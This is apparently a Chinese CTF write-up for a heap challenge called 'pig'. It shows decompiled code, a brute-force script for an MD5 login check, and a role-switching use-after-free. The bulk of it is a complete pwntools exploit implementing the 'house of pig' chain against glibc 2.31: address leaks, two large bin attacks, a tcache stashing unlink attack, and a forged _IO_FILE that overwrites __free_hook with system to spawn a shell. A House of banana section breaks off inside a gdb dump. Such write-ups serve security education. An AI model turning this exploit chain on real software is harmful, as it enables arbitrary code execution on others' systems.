std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
v6 = info->size[index] / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i], 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; // [rsp+18h] [rbp-18h]
unsigned int index; // [rsp+1Ch] [rbp-14h]
int v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
v6 = info->size[index] / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i + 0x10], 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; // [rsp+18h] [rbp-18h]
unsigned int index; // [rsp+1Ch] [rbp-14h]
int v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
if ( info->ptr[index] && info->size[index] && !info->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
v6 = info->size[index] / 0x30;
for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr[index][0x30 * i + 0x20], 0x10LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}

3只猪可以修改的索引范围和可以add的索引范围相同。而且修改时需要有一个标志位为0。这个标志位和view message的标志位相同。本题限制edit的次数最多为8次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
unsigned __int64 __fastcall delete(Info *info, int a2)
{
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
switch ( a2 )
{
case 1:
delete_1(info);
break;
case 2:
delete_2(info);
break;
case 3:
delete_3(info);
break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall delete_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0x14 )
{
if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
{
free(info->ptr[num]);
info->flag1[num] = 1;
info->flag2[num] = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0xA )
{
if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
{
free(info->ptr[num]);
info->flag1[num] = 1;
info->flag2[num] = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 5 )
{
if ( info->ptr[num] && !info->flag1[num] && !info->flag2[num] )
{
free(info->ptr[num]);
info->flag1[num] = 1;
info->flag2[num] = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}

3只猪可以删除的索引范围和可以add的索引范围相同。删除后会将两个标志位置为1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 login()
{
__int64 v0; // rax
__int64 v2; // rax
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-114h]
int v5[24]; // [rsp+10h] [rbp-110h] BYREF
char s[80]; // [rsp+70h] [rbp-B0h] BYREF
char v7[88]; // [rsp+C0h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-8h]

v8 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(
&std::cout,
"Please enter the identity password of the corresponding user:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
memset(s, 0, sizeof(s));
memset(v7, 0, 0x50uLL);
read_n(s, 0x40LL);
v4 = strlen(s);
if ( !v4 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "What's this?");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
MD5_initalize(v5);
MD5_init1(v5, s, v4);
MD5_init2(v5, (__int64)v7);
if ( !memcmp(v7, "\xA2'\x90\xD5\xEA\xD5\x37\xA3\xE1\x6D\x4Fc\x17\x7F\xB2X", 0x11uLL)
|| !memcmp(v7, "R\xEC\x3C\x4An\x13\"#\xCA\xF9L\xA2\xFA\x8D\x9B{", 0x11uLL)
// 第三位为 '\x00',存在提前截断。
|| !strcmp(v7, "<D\x00T\x92c \xAC\xF0\xAA\x1C\xBA\x8C\xBD\x96\xDA") )
{
if ( s[0] == 'C' )
return 3LL;
if ( (unsigned __int8)s[0] - 'A' <= 2 )
{
if ( s[0] == 'A' )
return 1LL;
if ( s[0] == 'B' )
return 2LL;
}
}
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Couldn't find this password!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return 0LL;
}
unsigned __int64 __fastcall MD5_initalize(_DWORD *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
// MD5魔数
*a1 = 0;
a1[1] = 0;
a1[2] = 0x67452301;
a1[3] = 0xEFCDAB89;
a1[4] = 0x98BADCFE;
a1[5] = 0x10325476;
return __readfsqword(0x28u) ^ v2;
}

根据条件爆破密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib
import string
import itertools

def find_string(start_char):
chars = string.ascii_letters + string.digits
for guess in itertools.product(chars, repeat=5):
s = start_char + ''.join(guess)
md5_value = hashlib.md5(s.encode()).hexdigest()
if md5_value[:6] == '3c4400':
return s
return None

print(find_string('A'))
print(find_string('B'))
print(find_string('C'))

需要知道每个角色的密码,才能通过对应密码 md5 的比较判断,但是这里判断用的 strcmp,且其中有个 md5 值中的包含 ‘\x00’ ,所以实际上会提前截断,而以 ‘\x3c\x44\x00’ 开头的 md5,对应的原值其实是有很多的,所以这里可以任意切换角色。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 __fastcall set_info1(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(state, info, 0xC0uLL);
memcpy(state->info1.size, info->size, sizeof(state->info1.size));
memcpy(state->info1.flag2, info->flag2, sizeof(state->info1.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info2(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(&state->info2, info, 0xC0uLL);
memcpy(state->info2.size, info->size, sizeof(state->info2.size));
memcpy(state->info2.flag2, info->flag2, sizeof(state->info2.flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall set_info3(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(&state->info3, info, 0xC0uLL);
memcpy(state->info3.size, info->size, sizeof(state->info3.size));
memcpy(state->info3.flag2, info->flag2, sizeof(state->info3.flag2));
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 __fastcall get_info_1(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(info, state, 0xC0uLL);
memcpy(info->size, state->info1.size, sizeof(info->size));
memcpy(info->flag1, state->info1.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info1.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info2(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(info, &state->info2, 0xC0uLL);
memcpy(info->size, state->info2.size, sizeof(info->size));
memcpy(info->flag1, state->info2.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info2.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall get_info_3(Info *info)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(info, &state->info3, 0xC0uLL);
memcpy(info->size, state->info3.size, sizeof(info->size));
memcpy(info->flag1, state->info3.flag1, sizeof(info->flag1));
memcpy(info->flag2, state->info3.flag2, sizeof(info->flag2));
return __readfsqword(0x28u) ^ v2;
}

在检查函数通过之后,如果我们会更换用户,则会将原来用户分配的chunk复制到一个程序预先分配号的一块空间,然后将新用户的chunk以及标志位等从那一块空间中复制出来。

漏洞利用

本题的漏洞就在于用户的分配上。由于新用户只是复制了第二个标志位,对于某个chunk的索引而言,如果原用户的两个对应标志位均为0,而新用户的两个标志位为1,则用户转换后,两个标志位分别为0和1。注意view messageedit message检查的都是第1个标志位是否为0,对于新用户而言,这个索引原本的chunk是已经被释放的,但这样一来我们就可以再一次访问这个chunk,这就产生了UAF。我们可以申请到在tcache保存大小范围的chunk,也可以申请到大于tcache大小的chunk,而且程序通过calloc 分配堆块会跨过 tcache,符合 house of pig 利用条件。关于新版本 largebin_attacktcache_stashing_unlink_attack 请看前言提到的文章。

前置脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password = [b'Aa9nH3', b'BaBqJn', b'CbyWU8']
current_user = 0

def add(content_length, content = None):
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'message size: ', str(content_length).encode())
if content is None:
content = str(current_user) * (content_length // 0x30 * 0x10)
io.sendafter(b'message: ', content)
sleep(0.1)

def view(index):
io.sendlineafter(b'Choice: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)

def edit(index, content):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendafter(b'message: ', content)
sleep(0.1)

def delete(index):
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)

def change_role(role):
global current_user
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', password[role])
current_user = role
sleep(0.1)

泄露地址并部署堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def leak_addr():
global libc_base, system, __free_hook, _IO_list_all, heap_address
# 部署tcache stashing unlink attack的堆环境
change_role(1)
for i in range(5): # make 5 chunk into tcache, mummy index 0~4
add(0xA0)
delete(i)

change_role(0)
add(0x150) # peppa index 0
for i in range(7): # fill 0x120 tcache, peppa index 1~7
add(0x150)
delete(i + 1)
delete(0) # peppa #0 into unsorted bin

gdb.attach(io)
pause()

change_role(1)
add(0xA0) # mummy index 5, split peppa #0
change_role(0)
add(0x160) # peppa index 8
for i in range(7): # fill 0x130 tcache, peppa index 9~15
add(0x160)
delete(i + 9)
delete(8)
change_role(1)
change_role(0)

gdb.attach(io)
pause()

view(8) # get libc base address
io.recv(0x10)
libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
system = libc_base + libc.symbols['system']
__free_hook = libc_base + libc.symbols['__free_hook']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
change_role(1)
add(0xB0) # mummy index 6, split peppa #8

# 获取堆地址
change_role(0)
change_role(1)

gdb.attach(io)
pause()

view(1)
io.recv(0x10)
heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address

print('libc base: ', hex(libc_base))
print('system: ', hex(system))
print('__free_hook: ', hex(__free_hook))
print('_IO_list_all: ', hex(_IO_list_all))
print('heap address: ', hex(heap_address))

tcache stashing unlink的堆环境要求有5chunk位于同一个tcache bins中,同时有2个相同大小的chunk位于small bins,之后通过修改small bins中链首chunkbk指针可以将任意地址链入到tcache

这里先将 peppa(0) 放进 unsorted bin,之后将其切分,由于转换身份时存在 UAF 漏洞,可以以此泄露 libc 地址,不过要注意先将对应的 tcache 填满。切分后我们再次申请 0x160 大小的 chunk 将剩余部分放进 small bin 中已备 tcache stashing unlink attack 攻击。

image-20231028142942544

image-20231028144439713

同理也可以利用身份转换的 UAF 漏洞泄露堆地址,通过 tcachefd 指针泄露堆地址,两次view的机会全部用完了,后面将不能使用view查看。我们这里add(0xb0)时将 unsorted bin 中的 chunk 切割成了 0xb0 大小。

image-20231028151045574

第一次large bin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def first_largebin_attack():
# first large bin attack
change_role(1)
add(0x440) # mummy index = 7
change_role(0)
add(0x430) # peppa index = 16
add(0x430) # peppa index = 17
add(0x430) # peppa index = 18
add(0x430) # peppa index = 19
change_role(1)
delete(7)
add(0x450) # mummy index = 8, switch mummy #7 into large bin
change_role(0)
delete(17)
change_role(1)
change_role(0)
change_role(1)
edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
add(0xF0) # daddy index = 0, complete first large bin attack

large bin attack 可以任意地址写堆地址,我们可以使得 __free_hook 周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 large_bin_chunk.bk_nextsize -> (__free_hook - 0x30),再次申请 0xf0 大小的 chunk 时会先把 unsorted_bin_chunk 放进 large bin ,再去 large bin 中找到合适的 chunk 进行切割。借此可以完成 large bin attack

构造的结构如下:

image-20231028155528867

攻击后如下:

image-20231028155847734

第二次 large bin attack

1
2
3
4
5
6
7
8
9
10
11
def second_largebin_attack():
# second large bin attack
change_role(1)
change_role(0)
delete(19)
change_role(1)
edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 1, complete first large bin attack
#pause()

第二次 large bin attack,我们的目标是将未来的假 _IO_FILE地址写到_IO_list_all中。上一次 large bin attack中使用的large bin是可以重用的,我们将bk_nextsize指针改到其他位置还能够再一次进行攻击。第二次large bin attack应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造_IO_FILE结构体应该在daddy分配索引为4的chunk时附加送给我们的一个chunk中进行构造。向_IO_list_all中写入的是large bin chunk的地址,如果想要这里同时也指向假_IO_FILE指针,就需要计算好chunk的分配数量,在calloc(0xE8)时能够正好让这个chunk被拆分,这样就实现了此处可写。可以让bk_nextsize的值为_IO_list_all-0x20

构造如下:

image-20231028160650568

攻击后:

image-20231028160804428

这里_IO_list_all已经指向了我们伪造的 fake_IO_FILE

tcache stashing unlink attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def tcache_stashing_unlink_attack():
# tcache stashing unlink attack
change_role(0)
edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
change_role(2)
add(0x230) # daddy index = 2
change_role(2)
add(0x430) # daddy index = 3
change_role(1)
edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
change_role(2)
add(0xA0) # daddy index = 4, trigger tcache stashing unlink attack

fake_IO_FILE_complete = p64(0) * 2 # _IO_read_end (0x10), _IO_read_base (0x18)
fake_IO_FILE_complete += p64(1) # _IO_write_base (0x20)
fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
fake_IO_FILE_complete += p64(0) # _IO_write_end (0x30)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0) # _IO_buf_base (0x38)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30) # _IO_buf_end (0x40)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
fake_IO_FILE_complete += p64(0) # _mode (0xB0)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
fake_IO_FILE_complete += b'/bin/sh\x00'
fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
io.sendafter(b'Gift:', payload)

在第一次 large bin attack之后,我们将一个堆地址写到了__free_hook-10的位置,接下来就需要通过 tcache stashing unlink attack将这个地址用_IO_str_overflow函数中的malloc函数分配出来,然后利用 memcpy 将其改写为 system 地址,并传入 /bin/sh\x00 参数,通过 exit 函数触发即可。

构造的堆空间:

image-20231028162001523

image-20231028161943651

此时用 calloc 申请 0xA0 大小的堆块会跨过 tcachesmall bin 获取, tcache 未满将会把 small bin 中的堆块先放进 tcache 中。

攻击后:

image-20231028162237544

成功链接进入 tcache

image-20231028162420262

构造的 fake_IO_FILE:

image-20231028162527785

image-20231028163928738

_IO_buf_end - _IO_buf_base = 30,所以申请的大小刚好为 30*2+100=0xA0,会把 __free_hook 申请出来。

image-20231028164958890

我们申请出来的用户空间在 0x...30,而 &__free_hook = 0x...48,我们将 old_buf == _IO_buf_base 指向这样的地址 b'/bin/sh\x00'+p64(system_addr)*2就可以把 system 地址写入到 __free_hook,并且把 _IO_buf_base ->'/bin/sh\x00' 作为其参数调用。

image-20231028165339348

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

io = process("./pig")
elf = ELF('./pig')
libc = ELF('libc-2.31.so')
password = [b'Aa9nH3', b'BaBqJn', b'CbyWU8']
current_user = 0

def add(content_length, content = None):
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'message size: ', str(content_length).encode())
if content is None:
content = str(current_user) * (content_length // 0x30 * 0x10)
io.sendafter(b'message: ', content)
sleep(0.1)

def view(index):
io.sendlineafter(b'Choice: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)

def edit(index, content):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
io.sendafter(b'message: ', content)
sleep(0.1)

def delete(index):
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'index: ', str(index).encode())
sleep(0.1)

def change_role(role):
global current_user
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', password[role])
current_user = role
sleep(0.1)

def leak_addr():
global libc_base, system, __free_hook, _IO_list_all, heap_address
# 部署tcache stashing unlink attack的堆环境
change_role(1)
for i in range(5): # make 5 chunk into tcache, mummy index 0~4
add(0xA0)
delete(i)

change_role(0)
add(0x150) # peppa index 0
for i in range(7): # fill 0x120 tcache, peppa index 1~7
add(0x150)
delete(i + 1)
delete(0) # peppa #0 into unsorted bin

# gdb.attach(io)
# pause()

change_role(1)
add(0xA0) # mummy index 5, split peppa #0
change_role(0)
add(0x160) # peppa index 8
for i in range(7): # fill 0x130 tcache, peppa index 9~15
add(0x160)
delete(i + 9)
delete(8)

change_role(1)
change_role(0)

# gdb.attach(io)
# pause()

view(8) # get libc base address
io.recv(0x10)
libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
system = libc_base + libc.symbols['system']
__free_hook = libc_base + libc.symbols['__free_hook']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
change_role(1)
add(0xB0) # mummy index 6, split peppa #8

# 获取堆地址
change_role(0)
change_role(1)

# gdb.attach(io)
# pause()

view(1)
io.recv(0x10)
heap_address = u64(io.recv(6) + b'\x00\x00') # get a heap address

print('libc base: ', hex(libc_base))
print('system: ', hex(system))
print('__free_hook: ', hex(__free_hook))
print('_IO_list_all: ', hex(_IO_list_all))
print('heap address: ', hex(heap_address))


def first_largebin_attack():
# first large bin attack
change_role(1)
add(0x440) # mummy index = 7
change_role(0)
add(0x430) # peppa index = 16
add(0x430) # peppa index = 17
add(0x430) # peppa index = 18
add(0x430) # peppa index = 19
change_role(1)
delete(7)
add(0x450) # mummy index = 8, switch mummy #7 into large bin
change_role(0)
delete(17)
change_role(1)
change_role(0)
change_role(1)
edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 0, complete first large bin attack
#pause()

def second_largebin_attack():
# second large bin attack
change_role(1)
change_role(0)
delete(19)
change_role(1)
edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
#gdb.attach(io)
add(0xF0) # daddy index = 1, complete first large bin attack
#pause()

def tcache_stashing_unlink_attack():
# tcache stashing unlink attack
change_role(0)
edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
change_role(2)
add(0x230) # daddy index = 2
change_role(2)
add(0x430) # daddy index = 3
change_role(1)
edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
change_role(2)
#gdb.attach(io)
add(0xA0) # daddy index = 4, trigger tcache stashing unlink attack
#pause()

fake_IO_FILE_complete = p64(0) * 2 # _IO_read_end (0x10), _IO_read_base (0x18)
fake_IO_FILE_complete += p64(1) # _IO_write_base (0x20)
fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF) # _IO_write_ptr (0x28)
fake_IO_FILE_complete += p64(0) # _IO_write_end (0x30)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0) # _IO_buf_base (0x38)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30) # _IO_buf_end (0x40)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
fake_IO_FILE_complete += p64(0) # _mode (0xB0)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
fake_IO_FILE_complete += b'/bin/sh\x00'
fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
#gdb.attach(io)
io.sendafter(b'Gift:', payload)
#pause()

def pwn():
leak_addr()
first_largebin_attack()
second_largebin_attack()
tcache_stashing_unlink_attack()
io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', b'')
io.interactive()

if __name__ == '__main__':
pwn()

House of banana

glibc >= 2.23

原理

ld.so 里,存在一个 _rtld_global 指针,指向 rtld_global 结构体,程序通过 exit 退出时,会调用 rtld_global 的结构体中的一系列函数来进行诸如恢复寄存器,清除缓冲区等操作。

结构体定义 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
# glibc-2.23
gdb-peda$ p _rtld_global
$1 = {
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe168,
_ns_nloaded = 0x4,
_ns_main_searchlist = 0x7ffff7ffe420,
_ns_global_scope_alloc = 0x0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x1,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0x0
}
},
entries = 0x0,
size = 0x0,
n_elements = 0x0,
free = 0x0
},
_ns_debug = {
r_version = 0x0,
r_map = 0x0,
r_brk = 0x0,
r_state = RT_CONSISTENT,
r_ldbase = 0x0
}
}, {
_ns_loaded = 0x0,
_ns_nloaded = 0x0,
_ns_main_searchlist = 0x0,
_ns_global_scope_alloc = 0x0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x0,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 39 times>,
__align = 0x0
}
},
entries = 0x0,
size = 0x0,
n_elements = 0x0,
free = 0x0
},
_ns_debug = {
r_version = 0x0,
r_map = 0x0,
r_brk = 0x0,
r_state = RT_CONSISTENT,
r_ldbase = 0x0
}
} <repeats 15 times>},
_dl_nns = 0x1,
_dl_load_lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x1,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0x0
}
},
_dl_load_write_lock = {
mutex = {
__data = {
__lock = 0x0,
__count = 0x0,
__owner = 0x0,
__nusers = 0x0,
__kind = 0x1,
__spins = 0x0,
__elision = 0x0,
__list = {
__prev = 0x0,
